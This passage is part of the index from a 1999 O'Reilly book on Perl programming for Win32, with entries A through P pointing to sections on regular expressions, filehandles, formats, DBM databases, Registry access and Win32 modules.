ADO (ActiveX Data Objects) : 17.6. Win32 Database Interfaces
alternation, in regular expressions : 7.3.2.4. Alternation
anchoring, in regular expressions : 7.3.3. Anchoring Patterns
angle brackets (<\>), as globbing delimiter : 12.2. Globbing
appending to a file : 10.2. Opening and Closing a Filehandle
archaeology : 15.2. Extracting and Replacing a Substring
arguments, to subroutines : 8.4. Arguments
@ARGV, as command-line arguments : 6.2. Input from the Diamond Operator
array assignment operator : 3.4.1. Assignment
array context, readdir(�) and : 12.5. Reading a Directory Handle
array elements
accessing : 1.6.5. More than One Secret Word
numbering of : 3.4.2. Array Element Access
referencing : 3.4.2. Array Element Access
array expression, as subscript : 3.4.2. Array Element Access
array literals, defined : 3.2. Literal Representation
array operators : 3.4. Array Operators and Functions
array slice : 3.4.2. Array Element Access
array variables : 3.3. Variables
assigned scalar values : 3.4.1. Assignment
automatically growing : 3.4.2. Array Element Access
default value of : 3.3. Variables
foreach statement : 4.6. The foreach Statement
in array literals : 3.4.1. Assignment
in scalar context : 3.4.1. Assignment
interpolated into strings : 3.7. Variable Interpolation of Arrays
arrays
1.6.5. More than One Secret Word
3.1. What Is a List or Array?
empty : 3.2. Literal Representation
referencing elements : 3.4.2. Array Element Access
size boundaries : 3.1. What Is a List or Array?
Artistic License : 1.3. Availability
assigning to a substr(�) : 15.2. Extracting and Replacing a Substring
assigning to an array : 1.6.5. More than One Secret Word
assignment operator : 2.6. Scalar Operators and Functions
assignment, binary : 2.6.1. Binary Assignment Operators
associative arrays
variables : 5.2. Hash Variables
associativity : 2.4.3. Operator Precedence and Associativity
Astro, pronouncing "Windex" : 15.1. Finding a Substring
attrib command : (see chmod command)
autodecrement operator : 2.6.2. Autoincrement and Autodecrement
autoincrement : 4.5. The for Statement
operator : 2.6.2. Autoincrement and Autodecrement

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: B

-B operator : 10.6. The -x File Tests
\B, as anchor in regular expressions : 7.3.3. Anchoring Patterns
\b, example of : 7.4.4. Using Variable Interpolation
\ (backslash)
before dollar in regular expression : 7.3.3. Anchoring Patterns
backtracking, in regular expressions : 7.3.2.2. Multipliers
backup files, and inplace editing : 17.5. Variable-Length ( Text) Databases
\ (backslash)
in regular expressions
as memory access : 7.3.2.3. Parentheses as memory
basename command, emulating : A.12. Chapter 13, File and Directory Manipulation
big-endian : 16.2. Packing and Unpacking Binary Data
binary assignment operator : 2.6.1. Binary Assignment Operators
binary data, treated, using strings : 2.3. Strings
binmode(�) : 17.4. Fixed-Length Random-Access Databases
blocks
1.6.3. Adding Choices
4.1. Statement Blocks
as body of subroutine
1.6.9. Making It a Bit More Modular
8.1. Defining a User Function
labeled : 9.4. Labeled Blocks
looping : 9.1. The last Statement
naked : 9.1. The last Statement
break (in C), and last operator : 9.1. The last Statement
BuildNumber module : B.4. Win32 Extensions
built-in variables : D.6. Many, Many Predefined Variables
bytes in memory, interpreting : 16.2. Packing and Unpacking Binary Data

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: C

-C operator : 10.6. The -x File Tests
c, as complement option of tr : 15.5. Transliteration
cacls.exe program : 13.4. Modifying Permissions
Camel Book
D.5. Many, Many More Functions
1.4. Support
16.2. Packing and Unpacking Binary Data
17.5. Variable-Length ( Text) Databases
canonical name, from gethostbyname(�) : 16.3. Getting Network Information
case
ignoring
1.6.7. Handling Varying Input Formats
7.5. Substitutions
in variable names : 2.5. Scalar Variables
cd command : 12.1. Moving Around the Directory Tree
CGI Programming : 18. CGI Programming
CGI.pm module : 18.1. The CGI.pm Module
ChangeNotify module : B.4. Win32 Extensions
changing directories : 12.1. Moving Around the Directory Tree
character classes, in regular expressions : 7.3.1. Single-Character Patterns
character ranges, in regular expressions : 7.3.1. Single-Character Patterns
chdir(�) : 12.1. Moving Around the Directory Tree
example of : A.11. Chapter 12, Directory Access
Chili's : Acknowledgments for First Edition
chmod command, and the chmod(�) : 13.4. Modifying Permissions
chmod(�) : 13.4. Modifying Permissions
chomp(�)
1.6.2. Asking Questions and Remembering the Result
3.4.7. The chomp Function
examples of
1.6.10. Moving the Secret Word List into a Separate File
1.6.17. The Final Programs
10.5. Using Filehandles
chop(�) : 2.6.3. The chop( ) and chomp( ) Functions
examples of
A.1. Chapter 2, Scalar Data
2.7. <STDIN> as a Scalar Value
chr(�) : 16.2. Packing and Unpacking Binary Data
circle, circumference of : 2.10. Exercises
clients, networking : C. Networking Clients
Clipboard module : B.4. Win32 Extensions
close(�) : 10.2. Opening and Closing a Filehandle
examples of : 1.6.10. Moving the Secret Word List into a Separate File
process-filehandles : 14.3. Using Processes as Filehandles
closedir(�) : 12.4. Opening and Closing a Directory Handle
example of : A.11. Chapter 12, Directory Access
CLSID : 19.2. Creating Automation Objects
cmp operator : 15.4. Advanced Sorting
COBOL : 11.1. What Is a Format?
Coke : 2.3.2. Double-Quoted Strings
column headers, in format : 11.1. What Is a Format?
columns, labeling : 1.6.14. Listing the Secret Words
command line : D.3. The Command Line
command-line arguments : 17.5. Variable-Length ( Text) Databases
diamond operator and : 6.2. Input from the Diamond Operator
comments, in Perl programs : 1.5. Basic Concepts
comparison operators : 2.4.2. Operators for Strings
comparison routine, in sorting : 15.4. Advanced Sorting
compiled language, Perl as a : 1.5. Basic Concepts
concatenation : 2.4.2. Operators for Strings
Console module : B.4. Win32 Extensions
constant part : 11.1. What Is a Format?
context, scalar and array : 3.5. Scalar and List Context
continue block : 9.2. The next Statement
control expression
of if statement : 4.2. The if/unless Statement
while statements : 4.3. The while/until Statement
Control-D, as end of file : 3.6. <STDIN> as an Array
copy pass : 17.5. Variable-Length ( Text) Databases
counting characters : 15.5. Transliteration
CPAN (Comprehensive Perl Archive Network) : B.3. CPAN: Beyond the Standard Library
Create(�) : 16.5. Opening and Reading Registry Values
CreateObject(�)
19.2. Creating Automation Objects
19.3. Using Automation Objects
creating processes : 14.1. Using system and exec
currently selected filehandle : 11.6.1. Using select to Change the Filehandle

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: D

-d operator : 10.6. The -x File Tests
d, as delete option of tr : 15.5. Transliteration
\d, in regular expressions : 7.3.1. Single-Character Patterns
dangling else, and impossibility of : 4.2. The if/unless Statement
database interface modules : B.2.6. Database Interfaces
databases
fixed-length records in : 17.4. Fixed-Length Random-Access Databases
human-readable : 17.5. Variable-Length ( Text) Databases
managing with the DBM library : 17.1. DBM Databases and DBM Hashes
random-access : 17.4. Fixed-Length Random-Access Databases
daytime server : C.1. A Simple Client
DBM array : 17.1. DBM Databases and DBM Hashes
DBM files : 1.6.16. Maintaining a Last-Good-Guess Database
DBM library : 17.1. DBM Databases and DBM Hashes
dbmclose(�) : 17.2. Opening and Closing DBM Hashes
example of : 1.6.17. The Final Programs
dbmopen(�) : 17.2. Opening and Closing DBM Hashes
examples of
1.6.17. The Final Programs
1.6.16. Maintaining a Last-Good-Guess Database
debugger : D.2. The Debugger
decimal points, in floating-point numbers : 2.2.2. Float Literals
default filehandle : 10.5. Using Filehandles
default values, implemented with || operator : 1.6.9. Making It a Bit More Modular
defensive programming : 15.4. Advanced Sorting
defining a format : 11.2. Defining a Format
delete operator : 5.4.4. The delete Function
delete(�), example of : 17.3. Using a DBM Hash
DeleteKey(�) : 16.6.1. More Registry Operations
deleting characters : 15.5. Transliteration
deleting Registry keys : 16.6.1. More Registry Operations
delimiters, for tr : 15.5. Transliteration
diamond operator (<>)
6.2. Input from the Diamond Operator
17.5. Variable-Length ( Text) Databases
examples of
A.7. Chapter 8, Functions
A.9. Chapter 10, Filehandles and File Tests
A.14. Chapter 15, Other Data Transformation
A.16. Chapter 17, Database Manipulation
7.2. Simple Uses of Regular Expressions
die(�) : 10.4. A Slight Diversion: die
examples of : A.11. Chapter 12, Directory Access
using : 1.6.13. Many Secret Word Files in the Current Directory
directories, renaming files into : 13.2. Renaming a File
directory handles : 12.3. Directory Handles
creating : 12.4. Opening and Closing a Directory Handle
division, operators for : 2.4.1. Operators for Numbers
Documentation : 1.5.1. Documentation
documentation : 1.5.1. Documentation
DomainName module : B.4. Win32 Extensions
dot (.)
as current directory : A.11. Chapter 12, Directory Access
example of : A.7. Chapter 8, Functions
double-quote interpolation : (see variable interpolation)
double-quoted strings : 2.3.2. Double-Quoted Strings
backslash escape and : 2.3.2. Double-Quoted Strings
example of : 1.6.2. Asking Questions and Remembering the Result
hash elements : 5.4.1. The keys Function
variable interpolation : 2.6.4. Interpolation of Scalars into Strings

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: E

-e command-line option, and inplace editing : 17.5. Variable-Length ( Text) Databases
-e operator : 10.6. The -x File Tests
e, as option to substitute operator : D.5.2. The eval Operator (and s///e)
each(�) : 5.4.3. The each Function
examples of : 17.3. Using a DBM Hash
echo command, and globbing : 12.2. Globbing
editors, and updating databases : 17.5. Variable-Length ( Text) Databases
elements of array : 3.1. What Is a List or Array?
else keyword : 4.2. The if/unless Statement
elsif keyword
1.6.5. More than One Secret Word
4.2. The if/unless Statement
example of
A.3. Chapter 4, Control Structures
15.4. Advanced Sorting
email, example of handling : 9.1. The last Statement
embedding Perl : D.10. Embeddible, Extensible
empty array : 3.2. Literal Representation
empty list : 3.2. Literal Representation
as default value for array variable : 3.3. Variables
clearing out a hash : 5.4.2. The values Function
end of file
detecting, introduced : 1.6.10. Moving the Secret Word List into a Separate File
with Control-D : 3.6. <STDIN> as an Array
%ENV variable : 14.1. Using system and exec
environment variables, controlling through %ENV : 14.1. Using system and exec
eq operator : 2.4.2. Operators for Strings
example of
1.6.3. Adding Choices
1.6.17. The Final Programs
Error module : B.4. Win32 Extensions
eval(�)
D.5.2. The eval Operator (and s///e)
11.1. What Is a Format?
EventLog module : B.4. Win32 Extensions
examples, where to get on-line : Exercises
execute bits : 13.4. Modifying Permissions
exit status, die(�) and : 10.4. A Slight Diversion: die
exit value : 14.3. Using Processes as Filehandles
exit(�) : 14.3. Using Processes as Filehandles
ExpandEnvironmentStrings module : B.4. Win32 Extensions
experts, and reading introductory sections : 1.6.8. Making It Fair for the Rest
exponential notation, in floating-point numbers : 2.2.2. Float Literals
exponentiation operator (**) : 2.4.1. Operators for Numbers
expressions
in a subroutine body : 8.3. Return Values
in array literals : 3.2. Literal Representation
extension modules
definition of : B.1. Library Terminology
Win32, list of : B.4. Win32 Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: F

-f operator : 10.6. The -x File Tests
false : 4.2. The if/unless Statement
regular expressions : 7.2. Simple Uses of Regular Expressions
FAQ, Perl : 1.4. Support
field definition line, introduced : 1.6.14. Listing the Secret Words
field value line, introduced : 1.6.14. Listing the Secret Words
fieldlines of format : 11.2. Defining a Format
File module
B.4. Win32 Extensions
13.4. Modifying Permissions
File::Basename : 10.3. Using Pathnames and Filenames
filehandles
1.6.10. Moving the Secret Word List into a Separate File
10.1. What Is a Filehandle?
default, defined : 10.5. Using Filehandles
formats and : 11.3. Invoking a Format
indirect : 12.2. Globbing
print(�) and : 1.6.12. Warning Someone When Things Go Astray
as processes : 14.3. Using Processes as Filehandles
read(�) and : 17.4. Fixed-Length Random-Access Databases
reading from : 10.5. Using Filehandles
seek(�) and : 17.4. Fixed-Length Random-Access Databases
as uppercase : 1.6.10. Moving the Secret Word List into a Separate File
filename glob : 1.6.13. Many Secret Word Files in the Current Directory
filenames : 10.3. Using Pathnames and Filenames
files
age, example of : 1.6.11. Ensuring a Modest Amount of Security
appending to : 10.2. Opening and Closing a Filehandle
information about, with stat(�) : 10.7. The stat Function
modifying permissions of : 13.4. Modifying Permissions
modifying timestamps of : 13.5. Modifying Timestamps
opening : 10.2. Opening and Closing a Filehandle
removing : 13.1. Removing a File
renaming
1.6.15. Making Those Old Word Lists More Noticeable
13.2. Renaming a File
testing for existence : 10.6. The -x File Tests
FileSecurity module
B.4. Win32 Extensions
13.4. Modifying Permissions
filled fields, in formats : 11.4.4. Filled Fields
finding a substring : 15.1. Finding a Substring
finding a substring in reverse : 15.1. Finding a Substring
findstr command : 7.2. Simple Uses of Regular Expressions
ignoring case : 7.4.2. Ignoring Case
floating-point literals : 2.2.2. Float Literals
floating-point numbers : 2.2.1. All Numbers Use the Same Format Internally
footnotes, meaning of : Conventions
for statement : 4.5. The for Statement
example of
A.3. Chapter 4, Control Structures
9.4. Labeled Blocks
foreach statement
1.6.16. Maintaining a Last-Good-Guess Database
4.6. The foreach Statement
example of
A.3. Chapter 4, Control Structures
A.4. Chapter 5, Hashes
A.11. Chapter 12, Directory Access
1.6.17. The Final Programs
12.5. Reading a Directory Handle
17.3. Using a DBM Hash
foreach(�), example of : A.5. Chapter 6, Basic I/O
format definition
example of : 1.6.14. Listing the Secret Words
location in source file : 11.2. Defining a Format
format fieldholders : 11.2. Defining a Format
format fieldlines : 11.2. Defining a Format
format keyword
1.6.14. Listing the Secret Words
11.2. Defining a Format
example of : 1.6.17. The Final Programs
format names
changing : 11.6.2. Changing the Format Name
selecting : 11.2. Defining a Format
format template : 11.2. Defining a Format
FormatMessage module : B.4. Win32 Extensions
formats : 11.1. What Is a Format?
changing top-of-page format name : 11.6.3. Changing the Top-of-Page Format Name
constant part : 11.1. What Is a Format?
defining : 11.2. Defining a Format
defining text fields : 11.4.1. Text Fields
invoking : 11.3. Invoking a Format
multi-line fieldholder
defined : 11.4.3. Multiline Fields
top-of-page : 11.5. The Top-of-Page Format
variable part : 11.1. What Is a Format?
whitespace within : 11.2. Defining a Format
formatted output, printf(�) and : 6.3.2. Using printf for Formatted Output
formfeed, and top-of-page format : 11.5. The Top-of-Page Format
FsType function : 10.7. The stat Function
FsType module : B.4. Win32 Extensions
FTP, obtaining exercises via : FTP
FTPMAIL : FTPMAIL
function pointers : D.10.7. Function Pointers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: G

g
as global replace option : 7.5. Substitutions
modifier of regexp match : D.4. Other Operators
GetCwd function : 12.1. Moving Around the Directory Tree
GetCwd module : B.4. Win32 Extensions
GetFileAttributes method : 13.4. Modifying Permissions
gethostbyname(�) : 16.3. Getting Network Information
GetLastError module : B.4. Win32 Extensions
GetNextAvailDrive module : B.4. Win32 Extensions
getopt, and the Perl standard library : 6.2. Input from the Diamond Operator
GetOSVersion module : B.4. Win32 Extensions
getservbyname(�) : C. Networking Clients
getservbyport(�) : C. Networking Clients
GetShortPathName function : 10.3. Using Pathnames and Filenames
GetShortPathName module : B.4. Win32 Extensions
GetTickCount module : B.4. Win32 Extensions
GetValues method : 16.5. Opening and Reading Registry Values
glob : 1.6.13. Many Secret Word Files in the Current Directory
global replace
example of : A.9. Chapter 10, Filehandles and File Tests
in substitute operator : 7.5. Substitutions
global variables, and subroutines : 8.1. Defining a User Function
globbing : 12.2. Globbing
compared with regular expressions : 12.2. Globbing
example of, with unlink(�) : 13.1. Removing a File
variable interpolation : 12.2. Globbing
GNU Public License : 1.3. Availability
goto, unnecessary in Perl : 9.4. Labeled Blocks
greediness
in regular expression patterns : 7.3.2.2. Multipliers
in regular expressions : 7.3.2.2. Multipliers
grep function : D.5.1. grep and map
gt operator : 2.4.2. Operators for Strings
gzip utility : 1.3.2. Standard Perl Distribution

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: H

hash : 1.6.6. Giving Each Person a Different Secret Word
hash keys : 1.6.6. Giving Each Person a Different Secret Word
hash operators : 5.4. Hash Functions
hashes : 5.1. What Is a Hash?
creating new elements of : 5.2. Hash Variables
example of assignment to : 1.6.6. Giving Each Person a Different Secret Word
literal representation of : 5.3. Literal Representation of a Hash
order in : 5.1. What Is a Hash?
removing elements from with delete : 5.4.4. The delete Function
sorting (sort-of) : 15.4. Advanced Sorting
stepping through with the each(�) : 5.4.3. The each Function
Hello, world (program example) : 1.6.1. The "Hello, world" Program
help
documentation : 1.5.1. Documentation
technical support : 1.4. Support
here strings : 2.3. Strings
hex(�)
2.2.3. Integer Literals
2.4.4. Conversion Between Numbers and Strings
hexadecimal numbers : 2.2.3. Integer Literals
hives, Registry : 16.4.1. The Registry Structure
HKEY_LOCAL_MACHINE subtree : 16.4.1. The Registry Structure
human-readable databases : 17.5. Variable-Length ( Text) Databases

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: I

-i option for inplace editing : 17.5. Variable-Length ( Text) Databases
-i option for inplace editing : 17.5. Variable-Length ( Text) Databases
-i flag (ignore case) : 7.5. Substitutions
i flag (ignore case) : 7.4.2. Ignoring Case
if modifier : 9.5. Expression Modifiers
if statement
1.6.3. Adding Choices
4.2. The if/unless Statement
example of
1.6.17. The Final Programs
1.6.9. Making It a Bit More Modular
4.2. The if/unless Statement
5.4.1. The keys Function
not counting as looping block : 9.2. The next Statement
ignoring case
example of : 1.6.7. Handling Varying Input Formats
in substitution : 7.5. Substitutions
with i flag : 7.4.2. Ignoring Case
in-proc servers : 19.1. Introduction to OLE Automation
indentation, in Perl programs : 1.5. Basic Concepts
index(�) : 15.1. Finding a Substring
indirect filehandles : 12.2. Globbing
infinite loops : 9.3. The redo Statement
InitiateSystemShutdown module : B.4. Win32 Extensions
inplace editing : 17.5. Variable-Length ( Text) Databases
int(�) : 10.6. The -x File Tests
integer : 2.2.3. Integer Literals
integers : 2.2.1. All Numbers Use the Same Format Internally
Internet module : B.4. Win32 Extensions
interpreted language, Perl as a : 1.5. Basic Concepts
interpreted languages : 1.1. History of Perl
interpreting bytes in memory : 16.2. Packing and Unpacking Binary Data
Introduction to OLE Automation : 19.1. Introduction to OLE Automation
invoking a format : 11.3. Invoking a Format
invoking a subroutine : 8.2. Invoking a User Function
IO::Socket module : C. Networking Clients
IPC module : B.4. Win32 Extensions
ISAP : 1.3.1. ActiveState Perl for Win32
ISAPI extensions : 18.7.2. PerlIS and PerlScript
IsWin95 module : B.4. Win32 Extensions
IsWinNT module : B.4. Win32 Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: J

join(�) : 7.6.2. The join Function
example of : 16.3. Getting Network Information

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: K

keys(�)
1.6.13. Many Secret Word Files in the Current Directory
1.6.16. Maintaining a Last-Good-Guess Database
5.4.1. The keys Function
scalar context and : 5.4.1. The keys Function
keys, of hashes : 5.1. What Is a Hash?
keys, Registry : 16.4.1. The Registry Structure
kit'n'caboodle : 15.4. Advanced Sorting
kludge : 9.4. Labeled Blocks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: L

labels : 9.4. Labeled Blocks
language extension modules : B.2.14. For Developers: Language Extensions and Platform Development Support
last access time, changing : 13.5. Modifying Timestamps
last modification time, changing : 13.5. Modifying Timestamps
last operator : 9.1. The last Statement
example of : A.8. Chapter 9, Miscellaneous Control Structures
last(�), example of : 9.5. Expression Modifiers
le operator : 2.4.2. Operators for Strings
left associativity : 2.4.3. Operator Precedence and Associativity
left-right pairs
as delimiters : 7.4.3. Using a Different Delimiter
length(�), example of : 17.4. Fixed-Length Random-Access Databases
libraries, definition of : B.1. Library Terminology
libwin32 package : 1.3.2. Standard Perl Distribution
link(�) : 13. File and Directory Manipulation
list
(see also arrays)
1.6.5. More than One Secret Word
3.1. What Is a List or Array?
list constructor operator (..) : 3.2. Literal Representation
list expressions, and foreach statement : 4.6. The foreach Statement
list reference (in Perl 5.0) : 3.4.1. Assignment
listing the /etc directory, example of : 12.5. Reading a Directory Handle
lists
nested : 3.4.1. Assignment
as subroutine return values : 8.3. Return Values
literal lists, slices of : 3.4.2. Array Element Access
literals, array : 3.2. Literal Representation
literals, of hashes : 5.3. Literal Representation of a Hash
little-endian : 16.2. Packing and Unpacking Binary Data
local(�)
example of
A.7. Chapter 8, Functions
11.4.2. Numeric Fields
loops and : 8.5. Private Variables in Functions
local servers : 19.1. Introduction to OLE Automation
local variables
creating, with local(�) : 8.5. Private Variables in Functions
foreach statement : 4.6. The foreach Statement
in subroutines, example of : 8.4. Arguments
logical comparison operators : 2.4.1. Operators for Numbers
logical not (!) operator : 1.6.9. Making It a Bit More Modular
LoginName function : 16.1. Getting User and Machine Information
LoginName module : B.4. Win32 Extensions
LookupAccountName module : B.4. Win32 Extensions
LookupAccountSID module : B.4. Win32 Extensions
looping blocks : 9.1. The last Statement
loops
endless : 4.3. The while/until Statement
exiting early, with last : 9.1. The last Statement
infinite : 9.3. The redo Statement
local(�) and : 8.5. Private Variables in Functions
nested, exiting from : 9.4. Labeled Blocks
lowercase, example of converting to : 1.6.8. Making It Fair for the Rest
lpr command, example of : 14.3. Using Processes as Filehandles
lt operator : 2.4.2. Operators for Strings
lvalue : 3.4.1. Assignment

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: M

-M operator : 10.6. The -x File Tests
example of : 1.6.11. Ensuring a Modest Amount of Security
m, as match operator : 7.4.3. Using a Different Delimiter
mailing lists, Perl : 1.4. Support
main routine, unneeded in Perl : 1.5. Basic Concepts
map operator : D.5.1. grep and map
MAPI : 19.3. Using Automation Objects
match operator : 7.2. Simple Uses of Regular Expressions
example of : 1.6.7. Handling Varying Input Formats
matching, choosing a delimiter besides slash : 7.4.3. Using a Different Delimiter
mathematics modules : B.2.7. Mathematics
Max Headroom : 13.5. Modifying Timestamps
McMenamin's : Acknowledgments for First Edition
memory, interpeting bytes in : 16.2. Packing and Unpacking Binary Data
methods : 19.1. Introduction to OLE Automation
microbrew : Acknowledgments for First Edition
mkdir command, mkdir(�) and : 13.3. Making and Removing Directories
modes, and making directories : 13.3. Making and Removing Directories
modification time
changing : 13.5. Modifying Timestamps
example of : 1.6.11. Ensuring a Modest Amount of Security
modules, definition of : B.1. Library Terminology
modules, list of : B.2. Standard Modules
Win32 extensions : B.4. Win32 Extensions
modulus operator (%) : 2.4.1. Operators for Numbers
multi-line fieldholder, in formats : 11.4.3. Multiline Fields
multiplication, operator for : 2.4.1. Operators for Numbers
Mutex module : B.4. Win32 Extensions
mv command, rename(�) and : 13.2. Renaming a File

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: N

\n, in single-quoted strings : 2.3.1. Single-Quoted Strings
naked blocks : 9.1. The last Statement
name spaces : 3.3. Variables
naming subroutine arguments, using local variables : 8.5. Private Variables in Functions
ne operator : 2.4.2. Operators for Strings
example of : 1.6.4. Guessing the Secret Word
nested loops, exiting from : 9.4. Labeled Blocks
nested subroutine invocation : 8.2. Invoking a User Function
net use : 12.5. Reading a Directory Handle
net view : 14.6. Exercises
NetAdmin module
B.4. Win32 Extensions
16.1. Getting User and Machine Information
NetResource module
B.4. Win32 Extensions
12.5. Reading a Directory Handle
netstat : 14.3. Using Processes as Filehandles
networking : C. Networking Clients
newlines
in format value, and @* field : 11.4.3. Multiline Fields
non-matching by dot : 7.3.1. Single-Character Patterns
removing : 2.7. <STDIN> as a Scalar Value
newsgroup, Perl : 1.4. Support
next operator : 9.2. The next Statement
NodeName function : 16.1. Getting User and Machine Information
NodeName module : B.4. Win32 Extensions
numbers : 2.1. What Is Scalar Data?
automatic conversion to strings : 2.4.4. Conversion Between Numbers and Strings
numeric fields (in formats) : 11.4.2. Numeric Fields
numeric operators : 2.4.1. Operators for Numbers
numeric order, example of sorting by : 15.4. Advanced Sorting

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: O

obscure biblical reference : 15.5. Transliteration
oct(�)
2.2.3. Integer Literals
2.4.4. Conversion Between Numbers and Strings
octal numbers, defined : 2.2.3. Integer Literals
OCX controls : 19.1. Introduction to OLE Automation
ODBC module
B.4. Win32 Extensions
17.6. Win32 Database Interfaces
OLE module
A.18. Chapter 19, OLE Automation
B.4. Win32 Extensions
19.2. Creating Automation Objects
OLEDB : 19.3.1. Data-Access Objects
Open(�) : 16.5. Opening and Reading Registry Values
open(�) : 10.2. Opening and Closing a Filehandle
commands and, example of : 1.6.17. The Final Programs
example of
A.9. Chapter 10, Filehandles and File Tests
11.3. Invoking a Format
introduced : 1.6.10. Moving the Secret Word List into a Separate File
plus sign and : 17.4. Fixed-Length Random-Access Databases
vertical bar in : 14.3. Using Processes as Filehandles
vertical bar in : 1.6.12. Warning Someone When Things Go Astray
opendir(�)
12.4. Opening and Closing a Directory Handle
12.5. Reading a Directory Handle
example of : A.11. Chapter 12, Directory Access
opening
DBM database : 17.2. Opening and Closing DBM Hashes
files : 10.2. Opening and Closing a Filehandle
Registry values : 16.5. Opening and Reading Registry Values
operands, defined : 2.4. Scalar Operators
operators : 2.4. Scalar Operators
addition : 2.4.1. Operators for Numbers
assignment : 2.6. Scalar Operators and Functions
associativity : 2.4.3. Operator Precedence and Associativity
autodecrement : 2.6.2. Autoincrement and Autodecrement
autoincrement : 2.6.2. Autoincrement and Autodecrement
division : 2.4.1. Operators for Numbers
for hashes : 5.4. Hash Functions
logical comparison : 2.4.1. Operators for Numbers
multiplication : 2.4.1. Operators for Numbers
precedence of : 2.4.3. Operator Precedence and Associativity
for scalar variables : 2.6. Scalar Operators and Functions
for strings : 2.4.2. Operators for Strings
subtraction : 2.4.1. Operators for Numbers
undef and : 2.9. The Undefined Value
ord(�) : 16.2. Packing and Unpacking Binary Data

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: P

-p command-line option, and inplace editing : 17.5. Variable-Length ( Text) Databases
pack(�) : 16.2. Packing and Unpacking Binary Data
example of : 17.4. Fixed-Length Random-Access Databases
pack format string : 16.2. Packing and Unpacking Binary Data
packages
B.1. Library Terminology
D.9. Packages
page length
changing, in formats : 11.6.4. Changing the Page Length
default, for top-of-page format : 11.5. The Top-of-Page Format
page position, changing, in formats : 11.6.5. Changing the Position on the Page
parameters, introduced : 1.6.9. Making It a Bit More Modular
parentheses
precedence and : 2.4.3. Operator Precedence and Associativity
path delimiter : 10.3. Using Pathnames and Filenames
PATH environment variable, managing : 14.1. Using system and exec
pathnames
2.3.2. Double-Quoted Strings
10.3. Using Pathnames and Filenames
Perl
embedding : D.10. Embeddible, Extensible
history of : 1.1. History of Perl
standard distribution of : 1.3.2. Standard Perl Distribution
technical support : 1.4. Support
Perl compiler : D.10.4. The Perl Compiler
